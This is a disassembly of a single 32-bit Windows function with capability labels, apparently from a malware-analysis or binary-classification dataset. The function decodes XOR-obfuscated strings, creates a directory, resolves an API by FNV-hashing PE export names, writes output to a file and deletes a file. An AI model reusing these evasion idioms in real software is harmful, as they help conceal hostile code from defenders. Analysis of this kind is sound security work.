Function at 0x4a8790
Capabilities:
Create directory
Delete file
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1b4
mov eax, dword [0x4d700c]
xor eax, esp
mov dword [esp + 0x1ac], eax
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x2c], ecx
mov dl, 0x45
mov dword [esp + 0x14], 0x20080445
xor eax, eax
mov dword [esp + 0x18], 0x70703706
mov dword [esp + 0x1c], 0x7031147c
mov byte [esp + 0x20], 0
nop dword [eax]
xor byte [esp + eax + 0x15], dl
inc eax
cmp eax, 0xb
jae 0x4a87e0
mov dl, byte [esp + 0x14]
jmp 0x4a87d0
xorps xmm0, xmm0
mov byte [esp + 0x20], 0
lea ecx, [esp + 0x15]
mov dword [esp + 0xd0], 0
movups xmmword [esp + 0xc0], xmm0
mov dword [esp + 0xd4], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a8810
sub ecx, edx
lea eax, [esp + 0x15]
push ecx
push eax
lea ecx, [esp + 0xc8]
call fcn.004b5700
mov byte [esp + 0x14], 0x4d
mov cl, 0xb
xor cl, byte [esp + 0x14]
mov al, 2
xor al, byte [esp + 0x14]
mov ch, 0x20
mov byte [esp + 0x15], al
mov dl, 1
mov byte [esp + 0x16], cl
mov dh, 0x24
mov cl, byte [esp + 0x14]
mov bl, 3
mov byte [esp + 0x26], 0x29
xor dl, cl
mov al, byte [esp + 0x26]
xor ch, cl
xor al, cl
mov byte [esp + 0x27], 0x2f
xor dh, cl
mov byte [esp + 0x1d], al
mov al, byte [esp + 0x27]
mov ah, 0x22
mov bh, 0x7c
mov byte [esp + 0x1a], ch
xor bl, cl
mov byte [esp + 0x1f], 0
xor ah, cl
mov byte [esp + 0x17], dl
xor bh, cl
mov byte [esp + 0x1b], dh
xor al, cl
mov byte [esp + 0x18], bl
xorps xmm0, xmm0
mov byte [esp + 0x19], ah
lea ecx, [esp + 0x15]
mov byte [esp + 0x1c], bh
mov byte [esp + 0x1e], al
lea edx, [ecx + 1]
mov byte [esp + 0x1f], 0
movups xmmword [esp + 0xa8], xmm0
mov dword [esp + 0xb8], 0
mov dword [esp + 0xbc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a88c8
sub ecx, edx
lea eax, [esp + 0x15]
push ecx
push eax
lea ecx, [esp + 0xb0]
call fcn.004b5700
mov byte [esp + 0x14], 0x20
mov cl, 0x4e
xor cl, byte [esp + 0x14]
mov al, 0x54
xor al, byte [esp + 0x14]
mov dl, 0x52
mov byte [esp + 0x15], al
mov dh, 0x59
mov byte [esp + 0x16], cl
mov ch, 0x68
mov cl, byte [esp + 0x14]
mov bl, 0x12
mov byte [esp + 0x27], 0x62
xor dl, cl
mov al, byte [esp + 0x27]
xor dh, cl
xor al, cl
mov byte [esp + 0x26], 0x56
mov byte [esp + 0x1d], al
mov ah, 0x15
mov al, byte [esp + 0x26]
mov bh, 0x42
xor bl, cl
mov byte [esp + 0x17], dl
xor ah, cl
mov byte [esp + 0x1b], dh
xor ch, cl
mov byte [esp + 0x1f], 0
xor bh, cl
mov byte [esp + 0x1a], ch
xor al, cl
mov byte [esp + 0x18], bl
lea edx, [esp + 0x15]
mov byte [esp + 0x19], ah
mov byte [esp + 0x1c], bh
lea ecx, [edx + 1]
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], 0
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x4a8960
mov edi, dword [esp + 0xbc]
lea eax, [esp + 0x15]
mov esi, dword [esp + 0xa8]
sub edx, ecx
push edx
mov edx, dword [esp + 0xbc]
lea ecx, [esp + 0xac]
cmp edi, 0x10
push eax
cmovae ecx, esi
call fcn.004b5da0
add esp, 8
test al, al
je 0x4a8ae7
mov byte [esp + 0x14], 4
mov al, 0x7c
xor al, byte [esp + 0x14]
mov ah, 0x76
mov ch, ah
mov byte [esp + 0x15], al
mov al, byte [esp + 0x14]
mov cl, 0x51
mov bl, 0x72
mov byte [esp + 0x1d], 0
xor cl, al
mov byte [esp + 0x1d], 0
xor ch, al
mov byte [esp + 0x16], cl
mov dl, 0x68
mov byte [esp + 0x1a], ch
mov dh, 0x4e
mov dword [esp + 0xb8], 0
mov bh, bl
mov dword [esp + 0xbc], 0
xor dl, al
lea ecx, [esp + 0x15]
xor dh, al
mov byte [esp + 0x17], dl
xor bl, al
mov byte [esp + 0x1b], dh
xor ah, al
mov byte [esp + 0x18], bl
xor bh, al
mov byte [esp + 0x19], ah
xorps xmm0, xmm0
mov byte [esp + 0x1c], bh
movups xmmword [esp + 0xa8], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a8a20
sub ecx, edx
lea eax, [esp + 0x15]
push ecx
push eax
lea ecx, [esp + 0xb0]
call fcn.004b5700
mov bh, 0x73
mov byte [esp + 0x1c], 0
mov cl, 0x38
mov byte [esp + 0x14], bh
mov ch, 0xa
mov byte [esp + 0x1c], 0
mov dl, 0x34
xor cl, bh
xor ch, bh
mov byte [esp + 0x16], cl
mov al, 0x35
mov byte [esp + 0x1a], ch
mov bl, 0x18
lea ecx, [esp + 0x15]
mov ah, 0x10
mov dh, 0x29
xor dl, bh
xor al, bh
xor bl, bh
mov byte [esp + 0x17], dl
xor ah, bh
mov byte [esp + 0x15], al
xor dh, bh
mov byte [esp + 0x18], bl
mov byte [esp + 0x1b], dh
lea edx, [ecx + 1]
mov byte [esp + 0x19], ah
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a8a90
sub ecx, edx
lea eax, [esp + 0x15]
push ecx
push eax
lea ecx, [esp + 0xb0]
call fcn.004b4cc0
mov ecx, dword [esp + 0xbc]
cmp ecx, 0x10
jb 0x4a8ae7
mov edx, dword [esp + 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8add
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a92f9
push ecx
push edx
call fcn.004c718d
add esp, 8
cmp edi, 0x10
jb 0x4a8b17
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x4a8b0d
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a92f9
push ecx
push esi
call fcn.004c718d
add esp, 8
mov ecx, dword [esp + 0xd4]
cmp ecx, 0x10
jb 0x4a8b53
mov edx, dword [esp + 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8b49
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a92f9
push ecx
push edx
call fcn.004c718d
add esp, 8
mov ch, 0x63
mov byte [esp + 0x1a], 0
mov dl, 6
mov byte [esp + 0x14], ch
mov ah, dl
mov byte [esp + 0x1a], 0
xor ah, ch
xor dl, ch
mov cl, 0x4d
mov byte [esp + 0x19], ah
xor cl, ch
mov byte [esp + 0x17], dl
mov byte [esp + 0x16], cl
mov al, 0x52
xor al, ch
mov bl, 0x1b
xor bl, ch
mov byte [esp + 0x15], al
cmp dword [0x4d70f4], 8
mov ecx, 0x4d70e0
mov eax, dword [0x4d70f0]
cmovae ecx, dword [0x4d70e0]
mov byte [esp + 0x18], bl
lea eax, [ecx + eax*2]
mov ecx, 0x4d70e0
cmovae ecx, dword [0x4d70e0]
push ecx
push eax
push ecx
lea ecx, [esp + 0x9c]
call fcn.004b5310
mov edi, eax
mov byte [esp + 0x2a], 0
mov al, 2
mov byte [esp + 0x2a], 0
mov cl, 0x5e
mov byte [esp + 0x28], al
xor cl, al
cmp dword [0x4d70f4], 8
mov eax, dword [0x4d70f0]
mov byte [esp + 0x29], cl
mov ecx, 0x4d70e0
cmovae ecx, dword [0x4d70e0]
lea eax, [ecx + eax*2]
mov ecx, 0x4d70e0
cmovae ecx, dword [0x4d70e0]
push ecx
push eax
push ecx
lea ecx, [esp + 0x3c]
call fcn.004b5310
movaps xmm0, xmmword [0x4d3890]
mov esi, eax
movups xmmword [esp + 0xa8], xmm0
mov dword [esp + 0xb8], 0x707e3e6e
xor ecx, ecx
mov word [esp + 0xbc], 0x1a6f
mov byte [esp + 0xbe], 0
nop
mov al, byte [esp + 0xa8]
xor byte [esp + ecx + 0xa9], al
inc ecx
cmp ecx, 0x15
jb 0x4a8c40
lea eax, [esp + 0xa9]
mov byte [esp + 0xbe], 0
push eax
lea edx, [esp + 0x1cc]
lea ecx, [esp + 0x7c]
call fcn.004b5190
add esp, 4
lea ecx, [esp + 0xc0]
push esi
push eax
push dword [esp + 0x34]
call fcn.004b5b30
lea eax, [esp + 0x29]
push eax
lea edx, [esp + 0xc4]
lea ecx, [esp + 0x64]
call fcn.004b52b0
add esp, 4
lea ecx, [esp + 0x48]
push edi
push eax
push dword [esp + 0x34]
call fcn.004b5b30
lea eax, [esp + 0x15]
push eax
lea edx, [esp + 0x4c]
lea ecx, [esp + 0xf4]
call fcn.004b52b0
mov ecx, dword [esp + 0x60]
add esp, 4
cmp ecx, 0x10
jb 0x4a8cfe
mov edx, dword [esp + 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8cf4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8e81
push ecx
push edx
call fcn.004c718d
add esp, 8
mov ecx, dword [esp + 0x74]
mov dword [esp + 0x58], 0
mov dword [esp + 0x5c], 0xf
mov byte [esp + 0x48], 0
cmp ecx, 0x10
jb 0x4a8d49
mov edx, dword [esp + 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8d3f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8e81
push ecx
push edx
call fcn.004c718d
add esp, 8
mov ecx, dword [esp + 0xd4]
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0xf
mov byte [esp + 0x60], 0
cmp ecx, 0x10
jb 0x4a8d9a
mov edx, dword [esp + 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8d90
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8e81
push ecx
push edx
call fcn.004c718d
add esp, 8
mov ecx, dword [esp + 0x8c]
mov dword [esp + 0xd0], 0
mov dword [esp + 0xd4], 0xf
mov byte [esp + 0xc0], 0
cmp ecx, 0x10
jb 0x4a8df1
mov edx, dword [esp + 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8de7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8e81
push ecx
push edx
call fcn.004c718d
add esp, 8
mov ecx, dword [esp + 0x44]
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0xf
mov byte [esp + 0x78], 0
cmp ecx, 0x10
jb 0x4a8e3e
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8e34
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8e81
push ecx
push edx
call fcn.004c718d
add esp, 8
mov ecx, dword [esp + 0xa4]
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
cmp ecx, 0x10
jb 0x4a8e91
mov edx, dword [esp + 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8e87
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4a8e87
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004c718d
add esp, 8
cmp dword [0x4d70f4], 8
mov ecx, 0x4d70e0
mov eax, dword [0x4d70f0]
cmovae ecx, dword [0x4d70e0]
lea eax, [ecx + eax*2]
mov ecx, 0x4d70e0
cmovae ecx, dword [0x4d70e0]
push ecx
push eax
push ecx
lea ecx, [esp + 0x9c]
call fcn.004b5310
movaps xmm0, xmmword [0x4d3f70]
mov esi, eax
movups xmmword [esp + 0xa8], xmm0
mov dword [esp + 0xb8], 0x68662676
xor ecx, ecx
mov word [esp + 0xbc], 0x277
mov byte [esp + 0xbe], 0
nop word [eax + eax]
mov al, byte [esp + 0xa8]
xor byte [esp + ecx + 0xa9], al
inc ecx
cmp ecx, 0x15
jb 0x4a8f00
lea eax, [esp + 0xa9]
mov byte [esp + 0xbe], 0
push eax
lea edx, [esp + 0x1cc]
lea ecx, [esp + 0x34]
call fcn.004b5190
add esp, 4
lea ecx, [esp + 0xd8]
push esi
push eax
push dword [esp + 0x34]
call fcn.004b5b30
mov ecx, dword [esp + 0x44]
cmp ecx, 0x10
jb 0x4a8f7b
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8f71
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8fbe
push ecx
push edx
call fcn.004c718d
add esp, 8
mov ecx, dword [esp + 0xa4]
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
cmp ecx, 0x10
jb 0x4a8fce
mov edx, dword [esp + 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8fc4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4a8fc4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004c718d
add esp, 8
push 0xac
lea eax, [esp + 0x110]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x108], 0x4c9520
lea ecx, [esp + 0x170]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [esp + 0x114]
push eax
lea ecx, [esp + 0x114]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov eax, dword [esp + 0x108]
mov eax, dword [eax + 4]
mov dword [esp + eax + method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x108]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [esp + ecx + 0x104], eax
lea ecx, [esp + 0x10c]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [esp + 0x10c]
mov dword [esp + method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esp + 0x154], 0
mov byte [esp + 0x149], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x4d7c00]
cmp dword [esp + 0xec], 0x10
mov ecx, dword [0x4d7c04]
mov dword [esp + 0x14c], eax
lea eax, [esp + 0xd8]
cmovae eax, dword [esp + 0xd8]
push eax
mov dword [esp + 0x15c], 0
mov dword [esp + 0x154], ecx
mov dword [esp + 0x148], 0
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
cmp dword [esp + 0x108], 0x10
lea eax, [esp + 0xf4]
push 0x22
cmovae eax, dword [esp + 0xf8]
lea ecx, [esp + 0x114]
push eax
call fcn.004b4f10
test eax, eax
lea ecx, [esp + 0x108]
mov eax, dword [esp + 0x108]
push 0
je 0x4a9108
add ecx, dword [eax + 4]
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
jmp 0x4a9113
add ecx, dword [eax + 4]
push 2
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push pe_nt_image_headers32
call fcn.004c719b
add esp, 4
mov dword [esp + 0x28], eax
cmp dword [esp + 0x158], 0
je 0x4a91e5
mov edi, dword [0x4d7868]
xor ebx, ebx
mov ecx, dword [edi + 0x3c]
mov ebp, dword [ecx + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0xc621a0a8
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4a9174
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4a9157
cmp edx, 0x455b4c00
je 0x4a917a
inc ebx
add esi, 4
jmp 0x4a9147
mov eax, dword [ebp + edi + 0x24]
push 8
push 4
lea eax, [eax + ebx*2]
mov ebx, dword [esp + 0x30]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
push ebx
push dword [esp + 0x38]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
cmp eax, 0xffffffff
je 0x4a91c4
test eax, eax
jle 0x4a91e5
push 0
push 4
push ebx
lea ecx, [esp + 0x114]
mov byte [ebx + eax], 0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
jmp 0x4a9132
cmp dword [esp + 0xec], 0x10
lea eax, [esp + 0xd8]
cmovae eax, dword [esp + 0xd8]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
lea ecx, [esp + 0x10c]
call fcn.004b4a20
test eax, eax
jne 0x4a920f
push eax
mov eax, dword [esp + 0x10c]
lea ecx, [esp + 0x10c]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [esp + 0x108]
call fcn.004a9330
mov ecx, dword [esp + 0xec]
cmp ecx, 0x10
jb 0x4a9257
mov edx, dword [esp + 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a924d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a92f9
push ecx
push edx
call fcn.004c718d
add esp, 8
mov ecx, dword [esp + 0x104]
mov dword [esp + 0xe8], 0
mov dword [esp + 0xec], 0xf
mov byte [esp + 0xd8], 0
cmp ecx, 0x10
jb 0x4a92ad
mov edx, dword [esp + 0xf0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a92a3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a92f9
push ecx
push edx
call fcn.004c718d
add esp, 8
mov ecx, dword [esp + 0x1dc]
mov dword [esp + 0x100], 0
mov dword [esp + 0x104], 0xf
mov byte [esp + 0xf0], 0
cmp ecx, 0x10
jb 0x4a9309
mov edx, dword [esp + 0x1c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a92ff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4a92ff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004c718d
add esp, 8
mov ecx, dword [esp + 0x1bc]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004c6ef9
add esp, 0x1b4
ret